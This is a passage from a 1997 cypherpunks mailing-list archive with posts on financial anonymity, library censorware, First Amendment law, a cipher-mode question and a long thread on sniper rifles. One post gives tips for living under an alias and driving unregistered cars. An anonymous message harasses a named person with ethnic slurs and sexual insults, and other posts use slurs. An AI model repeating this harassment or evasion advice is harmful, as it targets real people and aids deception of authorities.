with the person in charge). With the tax rates these professions pay cash
paying customers get red carpet treatment.

Now I have never had to be hospitalized. This is rather tricky but if it
is a non-emergency admission I would talk with directory of the hospital.
I think that you will find that displaying several thousand $$$ in cash
will go a long way in preserving one's anonymity. :)

The same thing back when I was renting. I always payed in cash and did not
have a real name associated with my address. When one produces 6mo rent up
front in cash very few questions are asked. Getting utilities turned on
under an alais is a trivial matter. Mail and packages can be drop shipped
to a local (or not so local) FedEx or UPS office.

Another thing is I do not have any ID with the state that I reside in.
Currently I am living in one state, my DL is in another state, and my
License plate is in a 3rd. There is also a trick for driving a car without
ever having it registered but I woun't go into that here. :) I actually
drove a small Nissan stationwagon for 8mo. in KCMO without any tags on it
at all. BTW *never* drive on stolen tags. You can always BS your way out
of expired tags, tags off another car (that you own), or even no tags at
all but you just can't BS your way out of stolen tags.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=ZeQy
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Tue, 23 Dec 1997 12:33:54 +0800
To: David Honig <honig@otc.net>
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <34a33a61.43986305@smtp.email.msn.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:

>
>Note that if the library in question were not arm of the State,
>noone would have any First Amendment claim.
>
>This is reminiscent of TM's recent (controversial) analysis of the fired
>county trashworker/author,
>and suggests a clearer example of the confusion caused by State as Employer:

It's true that in the absence of public libraries this would not be an
issue; however, it is an example of the state acting as sovereign, not
employer. We're concerned with the right of patrons to access material, &
they are not state employees. The situation is analogous to a public park:
just because the state owns it, does that mean it can forbid, say, criticism
of the state in it? No, of course not, though it has broader discretion in
limiting the speech of public employees in the park, while on-duty.

Paul

"(pun intended, though unfunny)"

~Saint





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 12:42:42 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
Message-ID: <199712230432.FAA10658@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > > Yes, those on the list a few months ago (around the time the list moved
> > > > from cocksucker John Gilmores toad.com to the distributed list format)
> > > > will remember censorous arab Sameer Parekh for sending abusive mail
> > > > threatening legal action to those who criticised the security of his
> > > > companies "stronghold" firewall, which I among others suspect to contain
> > > > govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> > > > to what they do best: running kebab shops and/or selling cheap fake rolex
> > > > watches to tourists.
> > >
> > > Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> > > boys for pleasure, but a camel for sheer extasy".
> >
> > I guess I am missing something, but what is so good about camels?
>
> I don't know - you'd have to ask Sameer Parekh.  Does he keep one in his
> C2Net office, and is it a male or a female camel?

Yes, Sameer Parekh does keep a Bactrian camel in his C2Net office.

The camel is male.

Sameer uses his oral and anal orifices to play the part of a female camel.

 +-----#--+
 |  O #   |
 |  |#__O |
 |._#_> \ |
 +-#------+
 Stop AIDS!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 23 Dec 1997 05:49:40 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Hate speech and censorship
In-Reply-To: <199712221855.MAA13705@manifold.algebra.com>
Message-ID: <Pine.LNX.3.93.971223065836.128A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 22 Dec 1997, Igor Chudov @ home wrote:

> Dr.Dimitri Vulis KOTM wrote:

> > Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> > boys for pleasure, but a camel for sheer extasy".
> 
> I guess I am missing something, but what is so good about camels?

You are clearly not a perl programer.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 23 Dec 1997 20:31:15 +0800
To: cypherpunks@toad.com
Subject: New Presidential Crypto Advisor
Message-ID: <1.5.4.32.19971223122555.0074cc44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



 22 December 1997, U.S. Newswire:

 Clinton Nominates Honigman Special Advisor to President 

 Washington, Dec. 22 -- The President today announced the appointment of Steven 
 S. Honigman as Special Advisor to the President. Mr. Honigman will bring
senior 
 level and government-wide leadership to the Administration's procurement of 
 encryption technology and services. 

 Mr. Honigman's responsibilities will include assuring that agency procurement
 policies, requirements, practices and programs are coordinated and consistent 
 with Administration encryption policies. He will also coordinate agency 
 encryption pilot projects and bring them to production, promote public-private 
 standards development, and maintain a dialogue with the public about these 
 efforts. His work will require consultation with all major Federal agencies, 
 White House policy offices, the Congress, market participants, foreign 
 entities and the private sector. 

 Mr. Honigman has served since June 1993 as the General Counsel of the Navy. In
 that position, he has been the Department of the Navy's chief legal officer
and 
 the principal legal advisor to the Secretary of the Navy. As Navy General 
 Counsel, he has been a leader in acquisition reform and procurement-related 
 litigation. 

 Mr. Honigman was born in Brooklyn, New York. He received his B.A. degree
 from New York University and his J.D. degree from Yale Law School. Mr.
 Honigman has practiced as a civil litigator in New York City. His areas of
 specialization included international and domestic reinsurance and insurance
 disputes, transactions and insolvencies. 

----------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 24 Dec 1997 11:13:00 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Best Cypherpunk long gun (fwd)
In-Reply-To: <199712231551.JAA25031@einstein.ssz.com>
Message-ID: <Pine.BSF.3.91.971223072037.962C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 23 Dec 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Date: Tue, 23 Dec 1997 01:08:04 -0700
> > From: Tim May <tcmay@got.net>
> > Subject: Re: Best Cypherpunk long gun (fwd)
> 
> 
> > For sniper work, a bolt-action is by far the most popular piece.
> 
It's difficult and expensive to build semi-autos that lock as well as a 
bolt action. 

As Tim pointed out earlier, for this type of shooting, 
sight-picture recovery generally outweighs the time it takes to operate 
the action, anyway. Also - if you are talking about counter-sniper work, 
the less shots you take, the less a target you make of yourself; taking 
between 0 and 1 shot is the recommended approach. :)

> Really? Watch a few more of those silly police shows on at night. Pay
> particular attention to the long-term hostage episodes. I generaly see the
> break-in team carrying MP-5 or shortie M-16's. I have yet to see the backup
> or sniper team using a bolt-action. Learning base tactics is about the only
> thing these shows are good for.
> 

If you can see the sniper, he's not doing his job very well. You seem to 
be confusing the "cover men" trailing the entry team with "snipers."

Since "most" LEA SWAT units operate in urban areas, their snipers are 
probably within 100 yards of the target. An AR-15 easily accurate enough 
at that range (even without a scope, although 4x-6x works well at that 
range). Most would likely use a bolt-action, though.

Most of the higher-end bolt-actions will shoot tighter than the average 
user can hold them (without resorting to sandbags and a lot of time to 
set up their shot).

Sorry for following the off-topic thread. I was going to throw in some 
ascii art, but I gotta go mix up some rum punch and stir the C4, or vice- 
versa.

Happy Holy-Daze.

-r.w.

p.s: William Craig's "Enemy at the Gates" has some interesting accounts 
of sniper/counter sniper action in and around Stalingrad during WWII. 
Much of the naritive is based on Zaitsev's "notes of a sniper" and 
interviews with Tania Chernova. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <anon@squirrel.owl.de>
Date: Tue, 23 Dec 1997 16:16:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Get your Anthrax shots
Message-ID: <adea223d151b9c9a967851b13a3db691@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>Well I don't know about you Tim but my Doctors only know me as Mr. Cash.
>:)

How'd you pull that one off? All kinds of personal information, including
your name, is included in medical records which the doctors have to keep up
to date and reference. When you go in you'd have to give them your name.

Now on the other hand I suppose you could go in, say you don't have
insurance, give a fake name, and pay in cash always. It would still be
trivial to ambush you at a scheduled doctor appointment. And I think
Klintonkov has done a good job of discouraging privately funded medical care.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 22:37:44 +0800
To: landon@best.com (landon dyer)
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <3.0.3.32.19971222234123.00a223b0@shell9.ba.best.com>
Message-ID: <199712231426.IAA24270@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



landon dyer wrote:
> At 10:11 PM 12/22/97 -0800, you wrote:
> >What is the best long gun for a Cypherpunk?
> 
>   A Solothurn, natch.  For those who don't know:  A circa 1938 20mm
> anti-tank rifle; be sure to get the high power telescopic sight.  Why
> screw around?  :-)

I am sure that you read about it in _UC_.

>  [read _unintended consequences_; as john brunner said: "move in with it"]

Anyone else thinks that Unintended Consequences is a bad fiction?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 22:46:26 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <v03102807b0c50470580c@[207.167.93.63]>
Message-ID: <199712231432.IAA24339@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> For defending the _perimeter_ of my property against Those Who Would
> Trespass, I count on a Remington Model 700 "varmint" rifle, chambered in
> .308 (or 7.62 NATO). It's a bolt-action, but the expected use is for
> long-range (300 meters) use, aka "sniping." The usual high-power scope.
> This rifle is capable of sub-MOA (minute of angle) groups, meaning less
> than 1-inch groups at a hundred yards.

Is there any version of Remington 700 (maybe PSS) that accepts 
detachable magazines?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 24 Dec 1997 01:04:17 +0800
To: "Johnson, Michael P (Mike)" <honig@otc.net>
Subject: RE: Question on CFB variant with c[i-N]
In-Reply-To: <c=US%a=_%p=Stortek%l=LSV-MSG06-971222182205Z-86290@lsv-bridge.stortek.com>
Message-ID: <3.0.5.32.19971223085211.007d1b50@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:22 AM 12/22/97 -0700, Johnson, Michael P (Mike) wrote:
>>David Honig <honig@otc.net> wrote:
>>At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>>>>
>>>>
>>>>>>              cfb    Ciphertext feeback mode
>>>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>>>>
>>>
>>>
>>>Suppose instead of c[i-1] you use c[i-N] where N is say 10. 
>>>How would you prove that this has no security implications?
>>>That 10-way interleaved cfb streams are security-equivalent to
>>>a single cfb stream interleaved with the immediately previous block?
>
>That would make it harder to get the process started, since you would
>need 10 initialization vector blocks instead of 1, so it would bloat
>your messages more.
>
>How about this mode:
>    c[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
>    p[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
>
>The feedback possibilities are literally endless. The analysis of the
>effects on security, speed, error propagation, etc., are left as an
>exercise for the reader. <grin>


In case you think I came up with this question
with the goal of proposing a stronger form of feedback:

I did not; I am not qualified to attempt such a thing. (Also, my intuition
matches Bruce's, there's no cryptostrength difference). Instead, the question
came up in an implementation context, where I wanted to know whether the 
more knowledgable community would seriously question such a variant on 
a well-known feedback mode if it were necessary in this implementation.

Thanks






------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 24 Dec 1997 01:14:34 +0800
To: "William H. Geiger III" <dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <D7D6He29w165w@bwalk.dm.com>
Message-ID: <3.0.5.32.19971223085850.007d28a0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:05 PM 12/22/97 -0600, William H. Geiger III wrote:
>
>
>>Why should any state be in the business of owning and running any parks?
>>We pay $60/year for a family membership in an excellent private park.
>>Most public parks in NYC are extremely unpleasant and dangerous places.
>
>I find it quite amazing that anyone would live in a place where you had to
>pay to see grass and trees.
>

Obviously the Dr. values grass and trees, and his safety, and for some
inexplicable reason remaining in NYC.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 23 Dec 1997 17:31:24 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <Ac3pGkWguTQq3Y5aVxWV5Q==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



At 10:11 PM 12/22/97 -0800, you wrote:
>What is the best long gun for a Cypherpunk?
>
>
308 Winchester would be a pretty good all around choice.  You would be a little over gunned for some of the smaller ones, however.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 23:13:58 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <Pine.BSF.3.96.971223133750.13292A-100000@pakastelohi.cypherpunks.to>
Message-ID: <XR66He35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@cypherpunks.to> writes:

> On Mon, 22 Dec 1997, Mix wrote:
>
> > What is the best long gun for a Cypherpunk?
>
> There are some howitzers that can deliver nuclear artillery shells at 50+
> miles. I think their barrels are pretty long.

During WWI the germans had something called "Big Bertha". It may have been
longer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 24 Dec 1997 01:46:26 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Best Cypherpunk long gun (fwd)
In-Reply-To: <199712231551.JAA25031@einstein.ssz.com>
Message-ID: <v03102800b0c596a2dae2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:51 AM -0700 12/23/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Tue, 23 Dec 1997 01:08:04 -0700
>> From: Tim May <tcmay@got.net>
>> Subject: Re: Best Cypherpunk long gun (fwd)
>
>>  I can't agree that the HK 91 (the .308 version) is a popular sniper
>> weapon.
>
>Military and police snipers the world over differ strongly with you...
>Beside, it's the 93/G3 not the 91 (thought they do share a lot of commen base
>pieces) that is the sniper rifle. I believe you will also find that the .308
>is the base caliber for all versions. Your wording above would indicate the
>91 was .308 while the 93 was a different caliber, this is incorrect. Visit
>the H&K home page...

Not much point in arguing with Jim Choate on this one. The G3 is the
orginal name (Gewehr). The G3KA4 is one of the .308 models currentlt being
sold.

For the past couple of decades the naming system has also included "HK -9x"
names, with this breakdown by caliber:

HK-91, the .308 model, aka the G3-xx models. Also, the variants like the
SAR-9 from Springfield, the Argentine and Greek versions, etc.

HK-93, the .223 model, much less common than the HK-91.

HK-94, 9mm model (which becomes the MP-5 and all of its variants and the
SP-89 as changes are made to the barrel length, stock configuration, etc.

(I know these things quite well, having almost bought an HK-91 back before
they came under new restrictions, and then having bought an SP-89.)

But if Jim doesn't believe me, consider this quote from the rec.guns FAQ:

"The HK series of weapons commonly avaiable in the US consists of the HK-91
(7.62 Nato) HK-93 (5.56 Nato) and HK-94 (9mm Nato). All
these rifles share common features, namely, the locking system consists of
a roller locked inertial bolt, which operates as a delayed direct blow
back action."

>
>> For sniper work, a bolt-action is by far the most popular piece.
>
>Really? Watch a few more of those silly police shows on at night. Pay
>particular attention to the long-term hostage episodes. I generaly see the
>break-in team carrying MP-5 or shortie M-16's. I have yet to see the backup
>or sniper team using a bolt-action. Learning base tactics is about the only
>thing these shows are good for.

Getting one's knowledge from, as you say, silly police shows, is not such a
good idea. For one thing, _entry teams_ are NOT snipers!

Go to some actual sniping sources. Or try some of the Web pages, such as
http://www.prostar.com/web/sniper/ or http://sniper-store.com/ for
insights. Also, as I mentioned John Plaster's excellent 1993 book, "The
Ultimate Sniper." He discusses semiautomatics and their disadvantages in
price and simplicity compared to bolt-actions.

Again, entry team work is limited to close range. Sniping is quite
different, with ranges from a hundred yards on up to a thousand yards,
sometimes even more. The average police sniper takes his shot at a hundred
yards or less (less is always better). But he'll want the most accurate
piece, not a semi-auto.

Lon Horiuchi, the sniper at Ruby Ridge, used a bolt-action to take his shot.



>Remember, we're counter-sniping at this point...
>

This'll be my last response to Jim on this issue. It appears he's talking
about a completely different thing than what I am calling, and what is
commonly called by others, sniping.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 23:33:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Best Cypherpunk long gun (fwd)
Message-ID: <199712231551.JAA25031@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 23 Dec 1997 01:08:04 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Best Cypherpunk long gun (fwd)

>  I can't agree that the HK 91 (the .308 version) is a popular sniper
> weapon.

Military and police snipers the world over differ strongly with you...
Beside, it's the 93/G3 not the 91 (thought they do share a lot of commen base
pieces) that is the sniper rifle. I believe you will also find that the .308
is the base caliber for all versions. Your wording above would indicate the
91 was .308 while the 93 was a different caliber, this is incorrect. Visit
the H&K home page...

> For sniper work, a bolt-action is by far the most popular piece.

Really? Watch a few more of those silly police shows on at night. Pay
particular attention to the long-term hostage episodes. I generaly see the
break-in team carrying MP-5 or shortie M-16's. I have yet to see the backup
or sniper team using a bolt-action. Learning base tactics is about the only
thing these shows are good for.

> I'm also skeptical about lasers, for daylight use. The three lasers I have
> owned have been good for indoor use, but visibility outdoors during the day
> is very poor.

I only use them for long-range shots and it does require the scope to see
the spot - the whole point really. The idea is the beam is of very low power
at this point and doesn't stand out quite as bad as up close (the glowing
red dot).

> (IR lasers with IR night vision gear is another matter, but also another
> price matter, too.)

Bad news, the others guys IR/IIS will spot you in a heart-beat, never use a
laser at nite, it's like tracers - they work both ways. You want to stick
with a strictly 3rd generation passive IR/IIS.

Remember, we're counter-sniping at this point...



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 23:42:19 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <Pine.LNX.3.91.971222144853.3012B-100000@fatmans.demon.co.uk>
Message-ID: <y676He43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > Tim's analysis is nonsensical.
> >
> > A government employee loses his job because of his political
> > views. He brings a lawsuit, alleging a violation of the First
> > Amendment, and eventually prevails in the Supreme Court.
> >
> > A non-government employee who loses his job because of his
> > political views would have no cause of action because the
> > private employer is not bound by the First Amendment.
> >
> > Therefore there should be far fewer government employees
> > to prevent further erosion of the First Amendment.
>
> This makes sense, do you not see the logic?

paul, it only makes sense according to my logic or your logic.
According to mark's logic (totally different) everyone should be
a government employee.

> > >Suppose RealBig Corporation fired Umbehr for his views. Would a First
> > >Amendment issue have arisen? Of course not. In a free society, RealBig is
> > >free to hire whom it wishes, and to refuse to hire niggers, homos,
> > >perverts, Jews, whatever. And to fire anyone who wrote opinions the
> > >managers at RealBig disliked.
> >
> > Substitute "fascist society" for "free society" in the paragraph
> > above and the discussion begins to make some sense. Hell, it's even
> > historically accurate.
>
> Wrong, do you dispute the fact that RealBig corp. is free to refuse to
> hire people for any reason whatsoever? Do you think I should not be
> allowed to refuse to hire people because of their race or sexual orientation?
>
> Should the government be able to take action against me because I fire
> someone for being jewish/black/homosexual???

In Mark's world, that's the next best thing to not letting RealBig Corp
hire anyone at all, so it cannot "discriminate".  let the gubmint do all
the hiring.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 24 Dec 1997 02:15:27 +0800
To: cypherpunks@Algebra.COM
Subject: Parks and Guns
Message-ID: <v03102801b0c59d135e7c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I've seen a couple of comments about my point about state-run parks not
allowing guns in, which would seem to be an interesting case of the state
limiting Second Amendment rights on territory it controlled.

(I won't push this much further, as the state may also limit firearms in
courthouses, in Federal buildings, and so on. Jusitifiably, I might add.
But this does make the point that the state-as-employer or
state-as-property-manager may do things that seem to directly limit
constitutional rights.)

Anyway, several comments have focussed on _little_ parks, those little
patches of grass and winos and spent syringes in the nation's cities.

What I was talking about were the biggies, like the Forest of Nisene Marks,
right next to my house, starting on the ridge on the other side of the
valley from me. Tens of thousands of acres....hundreds of miles of hiking
and biking trails.

Get caught with a gun in that park and face jail time. Of course, hikers
and bicyclists sometimes get mugged, raped, and murdered in this park, so
carrying a gun in one's fanny pack makes a lot of sense. "Better to be
judged by 12 than carried by 6," as the famous saying goes.

Interestingly for newcomers to the list, it was putting out this piece of
common sense opinion that got me a threatening phone call from the Santa
Cruz County Sheriff's Office in the summer of 1995. Seems that someone read
my opinions and contacted the authorities...a Sheriff's Deputy called to
warn me that my opinion verged on the illegal (oh yeah?) and that he might
send a "vehicle" out to my place to have a chat with me and check out my
state of mind.

When I said something along the lines of, "Fine, but call in advance, so
I'll know it's your boy," he flipped out, started furiously typing on a
keyboard (I could hear it), and said something like "That comment has been
entered in your file as a threat against a law enforcement officer."

At that point I told him that there was then no point in talking to him
further, if my truthful comments were to be declared "threats."

(I guess, as some have argued here recently, I was supposed to have said
something like, "Thank you, officer, for pointing out the error of my
opinion that hikers and bicyclists ought to take steps to defend
themselves. I understand now that weapons are not to be owned or carried by
citizen-units, and that a woman facing rapists on a mountain trail should
simply dial 9-1-1 at the nearest payphone and wait for the police to
arrive. I am sorry I expressed an opinion in these Beknighted States.")

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Wed, 24 Dec 1997 02:26:09 +0800
To: Colin Rafferty <fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: <3.0.1.32.19971223101322.00bc3100@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>Freedom of expression is not the same as freedom of oppression.

How is someone 'oppressed' by my choosing not to deal with him for some
reasons, but not for other reasons? Either way, he does not get my services.

I refuse to hire you because you are black -- you are oppressed.
I refuse to hire you because you're an Aquarius and my astrologer told me
not to hire Aquarians -- you are not oppressed.
I refuse to hire you because you're a Republican and I'm a Democrat, and I
don't think we'll work well together -- you are not oppressed.

But in all cases, you are not hired.

Explain the logic of this to me.

(Yes, it is perfectly legal to not hire someone based on star sign,
political affiliation, or having freckles.)

No human being has a right to compel service from another human being. If I
do not wish to engage in trade with you, that's my right. Would you be less
oppressed if I just closed up shop and refused to trade with ANYONE? 

The issue here is not expression, but association.

(Obviously, this does not apply in any area where there is government
involvement, such as civil service, access to public places, receipt of
government benefits, voting rights, public education, and the like.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Tue, 23 Dec 1997 23:42:18 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <v03007800b0c4336d8c2e@[204.254.22.15]>
Message-ID: <ocrzpls2ibm.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> At 11:04 AM -0700 12/22/97, David Honig wrote:

>> Note that if the library in question were not arm of the State,
>> noone would have any First Amendment claim.
>> 
>> This is reminiscent of TM's recent (controversial) analysis of the fired
>> county trashworker/author,
>> and suggests a clearer example of the confusion caused by State as Employer:

> Yep, I started to write just such an analysis this morning when I saw
> Declan's report. But I felt the arguments had already been made, in other
> cases, so I never finished the article.

> Look, the state-as-employer or the state-as-library has, for ontological
> reasons, various rules, conditions, etc. which have nothing to do with the
> state-as-sovereign.

> If the state-as-employer insists that English be spoken in offices, is this
> an infringement of First Amendment rights in even remotely the same way as
> if the state-as-sovereign illegalized the speaking of Portugese in Texas
> (or anyplace else that was not a state-as-employer office)?

If it is legal for employers to insist on a particular language being
spoken, then it is legal for the government, as an employer to do so.

> When the state-as-sovereign sets up libraries that don't carry Everything
> (hint: and not even the LOC carries everything), then the choices it makes
> can be seen by some to be First Amendment violations.

This is not a First Amendment violation.

The government is not required to promote all speech, but only to not
restrict it.  Selection of books for a library does not abdridge freedom
of speech, since the act of not selecting does not reduce speech.

Modifying the content of the selected books would be an infriging act,
since that is a reduction.

They cannot subscribe to Playboy and then put pasties on the nipples.
Nor can they subscribe to the Internet and then filter it.

> That way lies madness.

> A better solution is to get Government out of the business of running
> libraries or providing Net access.

I fail to see how this will solve anything.

Right now, we can fight censoring the Internet in libraries because this 
is the State acting as Sovereign.  In private libraries, fighting this
would be 



> Again, I see no clearcut First Amendment issues here.

It is very seldom that any Constitutional issue is clearcut.  That
doesn't mean that we should throw it out, though.

-- 
Colin Rafferty
-- 
"In our society, you can state your views, but they have to be correct."
 --Ernie Hai, co-ordinator of the Singapore Government Internet Project





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 24 Dec 1997 02:48:40 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <v03102807b0c50470580c@[207.167.93.63]>
Message-ID: <v03102802b0c5a31cc977@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:32 AM -0700 12/23/97, Igor Chudov @ home wrote:
>Tim May wrote:
>> For defending the _perimeter_ of my property against Those Who Would
>> Trespass, I count on a Remington Model 700 "varmint" rifle, chambered in
>> .308 (or 7.62 NATO). It's a bolt-action, but the expected use is for
>> long-range (300 meters) use, aka "sniping." The usual high-power scope.
>> This rifle is capable of sub-MOA (minute of angle) groups, meaning less
>> than 1-inch groups at a hundred yards.
>
>Is there any version of Remington 700 (maybe PSS) that accepts
>detachable magazines?

Yes, the PSS comes with a 5-shot detachable magazine (or at least one is
available for it). And I understand that some gunsmiths can easily adapt
the PSS to talke M1A magazines (the M1A being the civilian-legal version of
the M-14, a semiauto in .308. of course).

The view of most snipers is "Why bother?" If the goal is "one shot, one
kill," make that first shot really, really count. Rapid-fire follow-ups
shots are inconsistent with the idea of sniping.

(If the rapid-fire comes as a freebie, it might be a no-brainer to choose
it over bolt-action. But it isn't a freebie, and semiautos cost a lot more
to equal the accuracy of a bolt-action. Plaster estimates a semi-auto also
takes about 5 times the effort to keep it at high accuracy. As I said
earlier, H & K's excellent PSG-1 is a fine semiauto sniping rifle, but it
costs $10K, retail. This compares to a Remington PSS for about $800,
